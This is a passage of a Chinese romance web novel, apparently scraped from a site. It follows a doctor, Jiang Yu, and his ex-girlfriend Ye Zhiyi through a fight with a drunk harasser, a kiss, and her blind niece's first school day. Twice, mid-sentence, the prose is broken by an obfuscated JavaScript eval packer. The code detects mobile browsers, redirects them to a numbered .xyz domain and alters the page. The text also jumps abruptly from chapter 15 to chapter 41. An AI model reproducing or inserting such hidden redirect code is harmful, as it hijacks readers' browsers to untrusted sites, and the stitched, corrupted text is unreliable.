“没空,”蒋煜拒绝,“你去卫生间等着,我待会儿把食物吐出来还给你。” 沈千苓目瞪口呆:“你好冷漠。” 她跌坐在地毯上,没皮没脸地抱住蒋煜的腿,“哥哥,全世界最帅最体贴的哥哥,求你了,救我最后一次,我保证毕业前不再乱闯祸找你收拾烂摊子。这事儿要是被我妈知道,她肯定要把我扔出国,我不要啊。救救!救救!” 几个发小开了包厢,在等蒋煜过去补过生日。 腿上挂着一个九十多斤的无赖,蒋煜寸步难行,“你又干了什么?” 沈千苓听出他松了口,立刻端正态度,“这次真不是我的错。我们学校新来了一个眼盲的女生,她看不见,出行全靠一根棍子,课间有好色贱男故意挡在她前面绊倒她,再假模假样地扶她,其实是趁机摸她的胸。” “然后呢?” “然后我把人脑袋砸流血了。” 是她的处事风格,面对恶人,拳头和巴掌永远比语言劝说有效。 “哪天?几点?” “周五下午四点。” “老师和学生家长那边我可以请假去替你处理,并且瞒着你妈,”蒋煜顿了两秒,故作犹豫,“但有个前提……” “我答应!”沈千苓眨着眼睛,“什么条件我都答应,绝不耍赖。” 目的达成,蒋煜就不跟她七拐八拐绕圈子玩心机了,直接开门见山:“前提是你要帮我一个忙。” “什么忙?” “约个饭局,当中间人,介绍双方认识。” 沈千苓啧啧两声,“相亲啊?你给谁当媒婆?不会是薏歆姐吧?人家回国明显是冲着你来的。” 蒋煜按了按太阳穴,“你脑子里只有情情爱爱?” “所以是介绍谁和谁认识?你说清楚嘛。” “一方是公益助学慈善基金会的负责人,另一方是叶之一,叶小鱼。” “……谁?” 蒋煜面无表情,“聋了就去挂耳鼻喉科,少在这里烦人。” “小鱼嫂子?”沈千苓两眼放光,激动地爬起来,“你们和好了?” 她目不转睛地盯着蒋煜,试图在此男脸上找出一丝破防的端倪。 但他太能装,表面装云淡风轻,实际上估计牙都咬碎了。 “看来是还没有和好,并且希望渺茫,”沈千苓拍手鼓掌,“哇塞,给前女友介绍新男朋友,哥,你胸襟真够豁达的啊,感动世界最佳前任非你莫属,我一定给你做面锦旗,这种送医院不合适,放家里比较好,我看看挂在哪个位置最现眼,能让人一进屋就看清楚。” 蒋煜:“……” 他们家的基因是不是有问题? 沈千苓嬉皮笑脸地在客厅转悠一圈,像个风水大师,蒋煜的脸色越来越难看,她识趣地见好就收,她又不蠢。 “开个玩笑,”沈千苓清了下嗓,“你想给小鱼嫂子介绍人脉,干嘛不自己出面?” 蒋煜语气淡淡:“我不方便。” 并非和平分手的前任再见面,一方心如止水,另一方忍不住想要靠近,但又怕招人烦,导致好不容易才拉近的距离再次被划分成楚河汉界。 进与退的这个度确实不好把控。 “懂了。你找机会先让我和小鱼嫂子搭上话,接下来的事情我知道该怎么办,”沈千苓拍胸口保证,“交给我,你就放心吧。” 虽然叶之一当初很喜欢她,把她当自己的妹妹,但这几年她长歪了,被家里人惯出一身臭毛病,性格有些恶劣,胜在脸漂亮,看起来一副纯真无害的样子,实则蔫坏,如果有第二个合适的人选,蒋煜绝不会选她。 用人不疑,姑且信她一次。 “如果搞砸了,你就给我等着。” 留下一句话后,蒋煜换衣服出门。 明天要正常上班,他不会宿醉而归,就是稍微喝几杯酒助眠,发小群里的朋友了解他什么态度,没约徐薏歆,但包厢里还有一个他看不顺眼的人:左桉。 左桉就是高中拿蒋煜的校园卡去便利店买东西,被叶之一偶遇的那个混蛋玩意儿。 是她匆匆一瞥怦然心动的crush初恋。 左桉拿起酒杯跟蒋煜碰了一下,“听说你和叶大美女重逢了,约时间聚一聚?” 冰块碰撞杯壁,发出迷醉的声音。 身边全是从小一起长大的朋友,蒋煜很松弛,“你离她远点。” “我又不挖你墙角,”左桉没当回事。 这几年蒋煜一直对他没什么好脸色,他都习惯了,失恋的男人情绪阴晴不定,他可以理解,这不妨碍他看热闹,“毕业后就没再见过,叙旧而已。” “你跟她不是同学,也算不上朋友,叙什么旧?” “薏歆说她有个孩子,我挺好奇的,到底是什么样的男人把你比下去了。” 叶之一和蒋煜的恋爱观不同,她需要完全独立的空间,在这段亲密关系百分百安全稳定之前,她不愿意对方过多渗透自己的生活圈子。 但蒋煜不同,确定了关系,他就要让身边的朋友都知道对方的存在。 相处越久,他在她面前就越透明,他的一切都愿意敞开给她看,后来他甚至反思过,是不是因为他逐渐没了新鲜感和神秘感,让她觉得无趣,她才会那么决绝地分手。 左家产业大,左桉是正儿八经的富三代,蒋煜神色认真地问他:“你最近有没有捐钱做慈善给自己积德的想法?” 话题转得突然,左桉以为他是不想聊前女友给自己添堵,“我缺德?” “多少缺点儿吧。” “上个月确实遇到一件不太顺心的事,得去去晦气。” 蒋煜拿出手机,当场把助学公益基金会的捐款通道转发给左桉,并附赠一句“功德无量”。 正在点烟的兄弟见状,挑眉笑道:“我就说你今晚这么痛快地出来喝酒不对劲,原来不是借酒消愁,是来掏兜的。” 蒋煜气定神闲,“我愁什么?我不愁。” 他低着头,点开叶之一的微信聊天框。 解除黑名单后的对话只有一条转账记录和“不收拉黑”四个字,她不仅不欠人情,也不欠账,把医院就诊费用、早饭钱和水果钱,包括送她回家的油钱,都算在一起,转账给他,金额只多不少。 一如几年前,他不想分手,放下自尊挽留她,给她发了很长的几段话,告诉她,他不一定非得出国,可以再商量,结果她看都不看,直接千字两百打发他。 她很会气人。 转账还没过期,他接收,正好问问孩子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202351|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况如何。 蒋煜:【糖糖病好了吗?】 这条消息石沉大海,直到酒局散了,她都没有回复。 晚上十一点,蒋煜坐在车后座等代驾司机,闭着眼拿矿泉水的时候,在座椅上摸到了一个有棱有角的硬物。 他拿起来,借着车里的灯光,看清了这个不属于他的东西是一枚星星发夹。 米棠戴过,他有印象。 心里那股烦闷的情绪忽然找到出口,蒋煜把发夹放在手心,拍照发给叶之一。 五分钟后,手机屏幕亮了。 他收到了回复。 叶之一:【已经退烧了。】 叶之一:【发夹是糖糖的,这两天我在行李箱和包里翻了好几遍都没找到,还以为丢了。她对自己的物品很珍惜,就算重新买一个一模一样的,她也忘不了丢掉的那个,能不能麻烦你把发夹收好,等你方便的时候,我去取。】 蒋煜等了五分钟,打字回复:【如果你还没休息,我现在给你送过去。】 这次消息来得很快。 叶之一:【我去找你吧。】 蒋煜:【我已经在路上了。】 叶之一:【那就辛苦你跑一趟,快到了跟我说一声,我提前下楼等你。】 蒋煜:【好。】 代驾司机到了,把折叠电动车放进后备箱,坐上车,导航蒋煜说的地址。 十一点四十分整,车开到小区外。 蒋煜给叶之一发完消息,让司机先走。 有个酒鬼多次刷脸失败,在大声嚷嚷着让保安开门,保安没有理会他。 原本靠在车边等人的蒋煜多往前走了一段距离,以防叶之一出来的时候,被这个脏话连篇的酒鬼骚扰。 却不想,他们是认识的。 “还在这里发酒疯呢,”叶之一九点钟接到保安室的电话,下来过一次,那会儿邹城醉得没这么厉害,看着像是又喝了一场。 蒋煜几步上前,挡住纠缠她的酒鬼,“报警?” 邹城嘴里肮脏,叶之一充耳不闻,侧身看向蒋煜,“他是我之前那家公司的领导,九点多民警过来调解过,他隔两小时又来了。” 邹城打了个臭气熏天的酒嗝,摇摇晃晃靠近,愤恨地咒骂叶之一,说明明是她搔首弄姿勾引他,却颠倒黑白倒打一耙毁他名声。 蒋煜脸色沉了下来,眉头紧皱,在酒鬼踉跄着靠近时,伸手挡了一下。 他神色冷厉,但握住她手腕的力道不重,叶之一被带着后退,远离邹城,保持安全距离。 蒋煜在等她下楼的那几分钟里观察过邹城,这大概是个无能狂怒的废物,只嘴上撒野,没敢真动手。 没有造成实质性伤害,但和苍蝇一样烦人。 这种草包,你弱他就强,你强他就弱,在独身女性面前张牙舞爪,是觉得对方没什么攻击性,真碰到硬茬,被关进去拘留几天就老实了。 叶之一反握住蒋煜的手,“别理他,我不在乎,就当听几声狗叫。” “你先进去。”蒋煜把星星发夹放在她手里,看着她回到小区内。 确定人行道闸门自动上锁后,蒋煜解松领口的扣子,不紧不慢地走向邹城。 邹城抹了把脸,一只手搭在蒋煜的肩上,“兄弟,哥劝你一句,鬼迷心窍的下场就和我一样,这女的装清高,背地里其实都被睡烂了,等你上钩,开始跟她调情,她就反咬一口,诬陷你性骚扰!” 蒋煜轻笑一声,“你怎么跟她调情的?” 邹城也笑,“不就是男女之间那档子事,我跟你说,女人欲拒还迎不给睡,其实就是钱没到位,她生过孩子,值几个钱?” 蒋煜拨开邹城的脏手。 失去支撑,身体中心不稳,邹城差点没站稳。 “她看不上人渣,有什么问题?” 对方轻描淡写,温和从容,眼神里透出一种毫不掩饰的蔑视,从上到下扫视他,仿佛在打量一种恶臭的劣等生物。 邹城迟钝的大脑终于反应过来,迅速变脸,骂了句脏话。 蒋煜继续激怒他:“在职位比自己高的领导面前低头哈腰当孙子,受了气,转头就利用手里薄弱的权利给下属当爸,没占到便宜,态度立刻一百八十度反转,打压,污蔑,贬低,泼脏水。恕我直言,你这点本事,可看度还不如你的身高。” 邹城恼羞成怒,大声问候蒋家的祖宗。 在他骂骂咧咧冲过来时,蒋煜伸出右脚。 邹城被绊倒,往前冲了几步之后摔出去,膝盖重重跪在地面,他鼻腔和口中发出痛苦地粗喘声,用了好几分钟才艰难地爬起来。 闸门旁边放着一根棍子,是在家长接孩子放学那段时间用来挡门用的。 邹城捡起棍子,高高举起,用力朝着蒋煜抡过去。 蒋煜站着硬生生挨了两棍之后才还手,叶之一走出保安室,听到一声吃痛的闷哼声,抬头望过去,邹城像是气疯了,棍子被夺走,他就用手挠,用嘴咬。 场面混乱,保安怕闹大,连忙跟着叶之一跑过去阻拦。 没多久,警察过来带走了寻衅滋事的邹城。 监控记录得很清楚,邹城先动手,蒋煜是正当防卫,且他身上有明显外伤,配合着做完笔录就联系了律师。 离开警局后,蒋煜打车送叶之一回小区。 夜色寂静,叶之一低头看着他手背干涸的血渍,心里很不是滋味,“何必跟那种人扯上纠纷,他也就是喝了酒来骂骂我解气,我真不在乎。” 蒋煜说:“我在乎。” 15.第 15 章 暧昧期情愫发酵升温,荷尔蒙会让人头晕目眩,很容易陷进一团柔软的棉花云里。 叶之一确定地感受到自己被蒋煜爱着,是在开学不久后的一个傍晚。 那时候同寝室四个舍友一起选课,最后商量着选了排球,体育老师每次上课都要先带着学生绕着操场慢跑一圈,请假必须出示医务室开的假条。 叶之一体力不差,运动也还行,慢跑不像比赛需要拼速度,她逐渐落在后面是因为生理期第二天,经血量大,坠痛感最难忍受。 她坚持上完课,队伍一解散就脱力般坐在草坪上,室友以为她低血糖头晕,问了才知道是痛经。 大部分人都默认痛经是很正常的事,正常的事不应该影响正常的学习和工作进度,毕竟学校和公司每个月也没给女性放经期假。 小时候,她也是个痛了会哭会闹的女孩,可自从跟着父亲去往陌生的城市,住进陌生的家,一切都变了。 父亲明明是她骨肉相连的血亲,她在那个家里过的却是寄人篱下的日子。 弟弟哭了是她说话太大声,病了是她晚上没有关窗,她无从辩解,于是逐渐学会忍耐和沉默,自己能熬过去的疼痛,绝不开口。 所以很长一段时间,她甚至觉得示弱就是认输,无论对方是谁,无论对方是善是恶。 哪怕只是一节普普通通的体育课。 即使没有假条,只要跟老师说明情况,态度好一点,诚恳一些,就能在阴凉处休息,她不,就硬抗。 蒋煜下午有实验课,从实验楼到操场,几乎横跨整个校园。 女生怎么能这样不在意自己的身体?他本来是要训她几句的,可看她脸色苍白,再一摸手,手心全是冷汗,就连一句重话都说不出口。 他是跑着过来的,呼吸有些急促,蹲在她面前,双手捧起她的脸,“叶小鱼,你是钢铁做的?” “我是石头缝里蹦出来的。” “猴子也会因为紧箍咒疼得满地打滚抱头求饶。” 她牵唇笑了笑,“没到那个程度吧,痛经而已,忍一忍就过去了,一个月也就这么几天。” 蒋煜又无奈又心疼,“你脸上一点血色都没有了,难受成这样,不知道给我打电话?” 她小声嘀咕:“你又不能替我痛。” 他说:“我是不能,但我可以做的事也有很多,比如像现在这样陪着你,抱着你,给你揉揉肚子,或者热敷,买红糖姜茶,就算你现在想吃爆辣火锅,我也带你去。” 傍晚时分,天空被染成浅浅的粉色,映着叶之一眼角点点潮湿水光。 “你不嫌烦吗?一次两次也许还有耐心,三次四次呢?” 她目光柔和专注,一眨不眨地注视着他,隐隐抱有期待。 蒋煜清楚地在她瞳孔中看到了自己的倒影,这一刻,他在她的世界里。 她注视着他的眼神像条无形的线,他被牵引着靠近,“你是在问我,我会喜欢你多久,是不是?” 距离太近了,属于他的那缕好闻的薄荷味似乎下一秒就会落在她唇边,叶之一别扭地偏头看向别处,“我没有。” 蒋煜托着她的脸,转回来,面对着他。 叶之一抢先捂住他的嘴,“不准说,我不想听。” 落日短暂,粉紫色霞光散去后,天空逐渐被夜幕降临前的深蓝色侵染,少男少女共同坠入一场仲夏夜之梦。 他带着笑意的目光在她脸上游移,她的心跳开始不正常。 不知是心理作用还是激素在作祟,小腹的坠痛感变得微乎其微,上课时痛得恶心想吐都能忍受,这会儿有所缓解反而手脚无力。 叶之一心想,她堕落了,她完蛋了。 蒋煜轻咬她的手,认命般地长叹一声,“追我但不跟我约会,喜欢我但不承认,提问但不听答案,叶小鱼,你上辈子八成是个土匪。” 她忍不住笑,“……那你是什么?压寨夫君?” “你想得美,”蒋煜来之前找班里女同学要了一片痛经时吃的止痛药,“不要忌讳吃药止痛,合理吃是没什么问题的。” 她闭眼栽倒在他肩上,“不想吃,痛死算了。” “你好狠的心,你痛死了,被你钓得不上不下要死不活的我怎么办?” “风光大办,草草简办,随便怎么办我都不在乎。” “我在乎。叶小鱼,我在乎,很在乎,非常在乎,所以请你爱惜我这么在乎的你,把自己当成绝无仅有不可替代的宝贝。在我面前不用忍着,痛了就说,委屈了就哭,生气了就发作。我喜欢的是活生生的你,不是百毒不侵的钢铁人。” * “我在乎。”蒋煜低声重复。 思绪回笼,叶之一醒过神,悄然避开他灼热的目光,“喝酒了?” 蒋煜捏着衣领,低头轻嗅,他衣服上有烟酒味,可能是在包厢里沾上的,他解释道:“难得几个发小都有时间,约着简单聚一次,没多喝,我那些朋友你都见过的。” 他领口的扣子松了,叶之一很难忽视他脖子上的两道红痕。 “你自己一个人住吗?” “嗯,家里没别人。” “……你的伤得处理。” “算了,我这样去医院,明天不知道会传出多少版本让人惊掉下巴的故事。” 喜欢凑热闹的人在哪里都爱八卦,和职业无关。 医院内部的劲爆故事可不少。 蒋煜随便擦了下手背的血渍,对此不甚在意。 他冷静陈述:“今晚的事跟你不沾边,我就是看他不顺眼,会一次性把他整到以后远远看见你就躲的地步,就算他有点血性,狗急跳墙想要报复,也是报复我,我等着他制造出更多证据,助力我告到他倾家荡产。” 邹城和他才不沾边。 蒋煜如果不来送发夹,就不会莫名其妙被卷进这件烂事里。 叶之一和邹城上下级共事两年,对邹城也算有所了解,他醉酒来闹事都不敢硬闯小区,只是骂几句泄愤,清醒后也不敢真把她怎么样,她有家人有软肋,他难道没有?正因为有家要养,有责任要担,而不是一无所有破罐子破摔,他丢了工作才会破防,虚张声势罢了。 不难对付,但很烦人。 脖子可以用衣服遮挡,手伤却是直接暴露在外界。 医生的手很宝贵。 叶之一在心里提醒自己不要心软,“我回去了。” “嗯。”蒋煜没说什么。 叶之一转身就走,人脸识别通过,闸门打开,她大步走进去。 两分钟后,她捏着拳头气势凶凶地折回来。 这场精神拉锯战,战胜的是良心和愧疚。 站在原地的蒋煜看着她走近,眼尾缓缓漾出笑意。 她神色冷淡:“我妈和糖糖都睡了,你上楼后不许出声。” 蒋煜点头,“好,我一定保持安静。” 小区里的回迁房和商品房是分开的,蒋煜跟着叶之一的步伐,进大门后左拐,到7号楼,进了电梯,她按下12楼层。 叶家住1201室。 叶之一没开客厅的灯,用手机自带的手电筒照明,从鞋柜里拿出一双男士拖鞋。 大脑里突然冒出一个诡异的念头,这大概是裴起严穿过的。 蒋煜顿觉心如芒刺。 他宁愿光着脚,但显然这么干会被她赶出去,纠结后的结果是他沉默地换上拖鞋,跟着她进了卧室。 一扇门把黑暗关在外面,房间里灯光明亮,干净温馨。 叶之一在柜子里找应急药箱,她动作幅度小,只是想着快点打发他离开并且让自己心安,显得有些着急。 起初,谁都没有过多注意从衣柜里传出来的轻微声响,时有时无。 直到她打开柜门,蒋煜看见那串贝壳风铃,才知道声音的源头是它。 沈千苓幼年感兴趣的课外班只有手工课。 高考结束后那个漫长的暑假,蒋煜花了两个月的时间自由旅行,开学报道前那些天,他被迫在家带娃。 一个阴雨绵绵的下午,他和沈千苓在手工教室待了四个小时,用他们在海边捡的贝壳当主要材料,把每一片都打磨成鱼的形状,做了一串风铃。 后来这串风铃在叶之一学校宿舍的床边挂了整整四年。 蒋煜被风铃分散的注意力重新回到它的主人身上,时光藏起她的青涩,她把他们之间的旧物藏进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205860|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不染尘埃的柜子。 半分不留恋的东西,应该丢弃,何必留下占位置,多余又碍事。 “叶小鱼。” 叶之一应了一声,抬起头,下一秒,猝不及防地跌进一双情绪翻涌晦涩深邃的眼眸。 她下意识后退,“你……你不舒服?书桌旁边的椅子可以坐,口渴吗?桌上那瓶水是没开封过的。” 蒋煜声音低哑:“我难受。” “头疼还是伤痕疼?” “我心里难受。” 叶之一顿了几秒,移开视线,故作不懂,“难受就少喝酒。” 她找到棉签和碘伏,从蒋煜身侧绕过去,把椅子转到他的方向,让他坐下,又抽出几张纸巾贴在伤痕周围,免得弄脏衣服。 他目光始终在她脸上。 刚打开碘伏盖子,她就有点烦了,“闭眼。” 蒋煜并未配合,他在进屋之前都很听话,“我脸上没伤。” “我知道,但你这样很影响我。” “我怎样?” 叶之一深呼吸,不再跟他废话,用棉签蘸取碘伏给他脖颈处的伤痕消毒。 她一点也不温柔,皮肤有轻微的刺痛感,蒋煜没有执着于探究她为什么还留着那串一文不值的手工风铃,而是得寸进尺。 “这些年,你有没有想过我?” “你没有忘记我,是不是?” “你还爱我。” 他的语气从试探到确定,步步紧逼。 卧室空间就这么大,叶之一无处可躲,每一分情绪变化都在他眼前,她难以维持冷静,失手将棉签重重戳进伤痕,他痛得皱眉,却半步不退。 叶之一借着换棉签的理由转过身,“我爱你的样子,你没见过吗?” 以前她一身刺,但刺是柔软的,他伸手触碰,那些软刺会缠住他,不会伤他。 现在她温柔从容,但裹着无坚不摧的透明外壳,谁都无法靠近。 蒋煜搭在桌沿的手收紧,“如果你问心无愧,为什么不敢看我?” 沉默令氧气稀薄,叶之一转身面对着他,正视他眼里的细雨雾气,逐一回答:“想过,仅此而已。没有忘记,因为我没有失忆。不爱。” “撒谎。” “骗你,我得不到任何好处。” 她话音刚落,手中的碘伏瓶就被抽走,阴影覆盖过来,紧接着,男人身上清凉薄荷混着酒精的气息侵入她的禁区。 两人之间近得只剩一根手指的距离,只要他稍稍低头,这个不应该发生的吻就会落在她唇上。 “蒋煜,我没有要和你复合的想法,”叶之一轻声开口,“这句话的真心程度和你刚才保护我的真心一样真。如果请你上楼的行为给你造成我对你还有旧情的误会,那么我道歉。” 她双手垂在身侧,是放松的状态,并未挣扎抗拒。 情绪冷却,气氛僵硬。 房间里静得只剩呼吸,每一分每一秒都无限拉长,足够蒋煜找回理智。 “当我没问过。” 他走得干脆利落。 凉意透骨,叶之一缓了几秒钟,拢了拢外套,无声地松了口气,开门送他出去。 两人隔得很远。 显示屏的数字动了,10,11,12…… 电梯到达。 本来她送到这里就可以了,却在门开后恍惚失神地跟着进了电梯,电梯门即将合上时才反应过来。 叶之一往前走,抬手去按开门键。 一只手从身后伸过来,截住她的动作。 她被扯着手臂,毫无防备地撞进他怀里。 错愕,惊慌,真实。 电梯门彻底闭合瞬间,蒋煜捏着她的下巴抬高,不顾后果地闭眼吻她。 如果这里就是终点,再也没有以后,他克制感情保持理智还有什么意思? 他只知道,他们不能就这样算了。 书上说,接吻会让时间暂停,刹那即永恒。 以至于深吻的两人尚未发现,电梯停在9楼很久了。 呼吸被掠夺,面具被撕碎,谎言被戳穿,在她的手臂攀上他的肩,开始回应他的吻的时候,电梯就没有再继续下降。 40-50 第41章 九月初, 学校正式开学。 从今天起,米棠就得和其它学生一起同吃同住。 昨晚米梅收拾要带去学校的东西时就在抹眼泪,今早更是连早饭都吃不下, 眼睛又红又肿,米棠出生后几乎没有离开过她, 她盼着孩子能快快长大, 可真到了孩子必须独立面对世界的这一天,又万般割舍不下。 她甚至想住在叶之一的宿舍, 悄悄陪着米棠读书。 米棠背上小书包,“我勇敢!” 望着孩子稚嫩独行的背影, 米梅泣不成声。 “别送了, ”叶之一把行李箱推出客厅,“早晨气温凉爽, 你去公园逛逛, 或者找人下棋。晚点我给你发视频。” 米棠抱住外婆,像个小大人似的, 用手拍拍她, “外婆再见, 我会听话的。” 米梅哽咽地叮嘱:“水杯在书包里,里面还有面包。糖宝, 慢慢走,别着急,如果摔跤摔痛了,一定要找老师, 晚上睡觉盖好被子,周五下午放学,外婆第一个去接你。” “好, 我记住了,我不哭,”米棠乖巧点头,“外婆也别哭。” 叶之一在电梯口等着米棠来按电梯,米梅心里难受,忍痛把孩子送出门。 车开到学校,叶之一先去宿舍把米棠的床和储物柜收拾好,再带她去教学楼,把她交给老师。 周围有很多人,米棠抓着叶之一的衣角,小声说:“小姨,我晚上想和你睡。” “不可以,”叶之一温柔拒绝,“我下班就走了,你和小朋友们一起睡宿舍。” 在米棠适应宿舍生活之前,她不能住在学校,否则米棠一有问题就会去找她,她也会忍不住。 米棠往她身后躲,“我害怕怎么办?” 叶之一蹲下去,从包里拿出玩偶,打开机器人的开关,“再问小熊一次吧。” 语音芯片设置了两个唤醒词。 米棠抱着玩偶熊去安静的地方,坐在台阶上。 她轻唤:“妈妈。” 小熊回应她:“我在。” “我要上学啦。” “真好。你交到新朋友了吗?” “我认识了一个好朋友,她很喜欢我。可是房间里没有外婆和小姨,我自己睡觉,我不会勇敢了。” “别怕,我一直都在。” “妈妈,你是哪一朵云呢?又是哪一颗星星呢?我都看不见。” “看不见没关系,妈妈在你心里。你想我的时候,我无处不在。比如,你上课,我就是窗台上的小鸟,你做游戏,我就是地上的泥土,你睡觉,我就是枕头里的棉花。我永远陪着你。” 叶之一坐在旁边,看着,听着,感受着。 阳光晒在皮肤上,热意不像盛夏那样强烈。 姐姐声线好,大学做过几个月的电台主播,留下了很多音频。 她不知道蒋煜用了多长时间才建成可以语音对话的数据库,将来又要耗费多少金钱和精力来维护。 开学第一天场面注定混乱,孩子哭,家长也哭。 米棠揉了揉眼睛,忍着没掉一滴眼泪,把玩偶熊塞给叶之一,牵着老师的手,转身一步步走向教室。 有那么短暂几秒钟,叶之一忘记自己今天的身份不只是家长,情不自禁地跟着往前走,想再多陪她走一段路。 一句“叶校长”叫醒了她,让她艰难地移开视线,转移注意力,去忙别的事。 这一天格外漫长,到了傍晚,学生们在老师的带领下排队去食堂吃晚饭,叶之一才放纵自己去看米棠一眼。 学生在操场排成两队,后面人的手搭在前面人的肩上,生活老师分别在最前排和最末尾,点完人头后去食堂打饭。 盲童来到学校,很多事都要学会自己做。 和米棠坐在一桌的女孩哭得抽噎,叶之一看着米棠从兜里掏出纸巾,摸到女孩的脸,胡乱给她擦眼泪,哄着她吃饱饭再哭,不然晚上会饿。 两个小小的人儿拥抱在一起,其实挺心酸的。 这周丘新竹留校值班,“别看了,越看越舍不得走。你现在去办公室拿包,还能赶最后一班公交车。” 叶之一背过身,轻声感叹:“感觉糖糖突然长大了,她比我想象得坚强许多。原来,离开我,她是可以的。” 丘新竹说:“不是你把这条路想象得太远太难走,是你对自己太苛刻了。” “可不是嘛,又要体面,又要自尊,”叶之一揉着肩膀,“好累。” 丘新竹笑得爽朗,“放松点,孩子们有免费的排骨吃,我俩是女人中的女人。” “拜拜,我去找朋友喝酒庆祝了。” “你最好是真的放松,喝酒就别来太早,下午再过来。” 叶之一没再看米棠,潇洒地朝着丘新竹挥了下手,“你受累,我走了。” 公交车只到市里,叶之一换乘地铁回家,她得洗个澡,换身舒适的衣服。 打开门,米梅孤单地坐在沙发上,反复看那几段视频。 “妈,”叶之一把包放到桌上,“你不会一整天都没出门吧。” 米梅摘下眼镜,长声叹气,“糖糖不在家,我一点着落都没有,干什么都没意思。” “我给你报个老年兴趣班?” “兴趣班就算了,我没任何兴趣。学校缺不缺生活老师?我身体能行。食堂打饭,打扫卫生,洗衣服,整理宿舍,这些活儿我都能干,我不要工资。” 叶之一压根不接这茬,进了房间,“这几年你天天围着糖糖转,也该过自己的生活了。西江区新建的图书馆特别好,暑假过完了,那些考编考研的学生也少了,空座位多的是,你明天逛过去看看。” 房门开着,米梅看她在找衣服,“你不吃饭,要去哪儿啊?” “我出去吃。” “跟起严吃?不对,他还没下班。” 叶之一站在衣柜前,像是有话要说,米梅等她开口。 一阵清脆的声响搅散了安静的气氛。 衬衣袖子坠着重量,叶之一低头看下去。 是她不小心失手拽断了挂在柜子里的贝壳风铃,几片贝壳从绳子脱落,散落在地上。 其中一片贝壳摔碎成两半,她望着碎片失神,心口被牵连出细细密密的疼。 “这东西留着好多年了,绳子都老化了,”米梅准备拿扫把清扫,“还要不要?” 叶之一把衣服丢在床边,弯腰蹲下去捡贝壳,“我自己收拾。” 手工礼物,只此一份。 就算买到一模一样的材料,也复制不出当初的心境。 细小的碎片躺在手心里,没什么重量。 叶之一忽然意识到,她和蒋煜之间的旧物越来越少,曾经共有的记忆也随着时间流逝而变得模糊,他在逐渐远离她的世界。 那天在海边偶遇,三言两语,尴尬问候结束,就无话可说。 也许那就是他们最后一面。 米梅退到门口:“刚才想说什么?” “妈,”叶之一回过神,语气平淡,“你能不能帮我跟裴叔说一声,请他在他私下和邻居聊天的时候,别把我当成裴家的儿媳妇,行吗?” 米梅提高嗓音:“八字还没一撇的事,他就在外面胡说八道?” “可能不是有心的,但我听着尴尬。” “我说呢,怎么前几天有人莫名其妙问我准备几月份办喜事。哎,起严也是三十好几的人了,老裴着急了吧,也能理解。” 叶之一找了个盒子,把坏掉的风铃收进去,“严哥很好,我不想最后连朋友都没得做,本来朋友就少。” 米梅心里大概明白她的意思,儿女婚事强求不来,“知道了,我一会儿去找老裴搓麻将。” …… 宋佳岚把车开到叶家小区外,懒得进去。 学校步入正轨,资金能支撑几个月的开支,米棠也开始学习人生第一课,长久压在叶之一身上的重担终于可以暂时卸下。 “我来开,”叶之一拉开车门。 宋佳岚看着叶之一,眼睛一亮。 她今天一点疲惫班味都没有,化了妆,头发自然散开,宽松格子衬衣里面穿了件很显身材的黑色吊带,露出一截纤细的腰,有种慵懒的性感。 宋佳岚下车,往她脚上瞟了一眼,笑着打趣:“竟然没穿你那双半永久的洞洞鞋,真不容易。” 叶之一说:“想穿来着,但那双拖鞋放学校宿舍了。” 宋佳岚:“……” 算她多嘴。 “这是打算开启新篇章的意思?” “算是吧,至少得有个人样,我戒了半年酒,今天要喝过瘾。” “喂!我怀孕之前你怎么不说这话?” “你酒品不好,喝多了又哭又闹,不爱跟你喝。” 宋佳岚坐进副驾,系好安全带,两人接着去接吕湘。 吕湘从公司离职了,不上班,活人气息就是比较生动,话题不再是吐槽同事和领导,而是讨论去哪里休假。 路上又接了宋佳岚的堂姐,人生百转千回,堂姐和姐夫几天前还在选婚纱,周末吵完一架就退婚,一拍两散。 叶之一请客,宋佳岚不能喝酒,点了几样小食和鲜榨果汁。 “我糖糖宝宝今天表现怎么样?”宋佳岚关心米棠。 叶之一打开手机相册,给她看视频。 吕湘也凑了过去。 视频里,米棠背着书包,慢慢往前走,摔倒了也不哭,爬起来揉揉膝盖,扶着有凸起小点的黄色栏杆扶手继续往前,另一只手握着拳头给自己打气。 “天呐,我的宝宝好勇敢,”宋佳岚眼泪汪汪,把视频转发给自己,“给我妈看看,让我妈也哭哭。” 吕湘感慨地和叶之一碰杯,“你太不容易了。” 叶之一拿起酒杯一饮而尽。 宋佳岚吃着果盘,大手一挥,“放开了喝,我负责送你们回家。” 她这么说,三个女人当真喝上头了。 吕湘是为即将到来的自由,堂姐是为半路夭折的感情,叶之一是为什么,宋佳岚搞不清楚,虽然认识了很多年,但叶之一是个感情内收的人,也不轻易吐露心声,除非喝断片了。 压抑得太久,偶尔宣泄一下,反而是好事。 服务生又送来几杯特调,宋佳岚就没拦着。 红红绿绿的颜色,看着像果汁,但后劲儿大。 叶之一面前的这一杯酒还有个故弄玄虚的名字,叫“吐真剂”。 宋佳岚是唯一清醒的人,她好奇地问:“喝了就能说真心话?” 服务生面带微笑,“分人。” 说了等于没说,宋佳岚看向已经趴到桌子上的叶之一,轻推她的胳膊,“我打电话问问起严哥有没有下飞机?” 叶之一摇头,“……不要。” “那你想见谁?” “我想吐。” 宋佳岚:“……” 